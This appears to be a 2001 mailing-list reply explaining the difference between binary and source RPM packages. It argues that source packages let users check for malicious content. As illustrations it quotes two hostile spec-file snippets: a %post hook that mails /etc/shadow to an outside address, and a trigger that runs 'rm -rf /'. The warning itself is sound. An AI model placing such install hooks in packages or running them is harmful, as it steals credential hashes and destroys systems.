On Mon, 16 Apr 2001, Fahad Al-Duraibi wrote:
> when i download packages i find some of them comes in two forms ( *.rpm
> ) and the source code ( *.src.rpm ).
> what is the best ? will the source package be optimized for my PC more
> than the already compiled .rpm ?
Not unless you've tweaked rpm's CFLAGS settings for your machine.
There are primarily 2 advantages to .src.rpms:
- You can change things you don't like about them
- You can verify they don't do anything evil. There's nothing that
prevents someone who puts an rpm on the net from putting something along
the lines of
%post
cat /etc/shadow |mail -s "Ha ha, another one! `hostname`" [EMAIL PROTECTED]
or
%triggerin -- somepackage
# People who use this package suck... show them!
rm -rf /
to the spec file. If you're installing an rpm from an untrusted source
(any non-Red Hat distribution :> ), getting the src.rpm may be more
reasonable.
If you aren't concerned about either of those, getting the binary RPM will
do - and save you some time.
LLaP
bero
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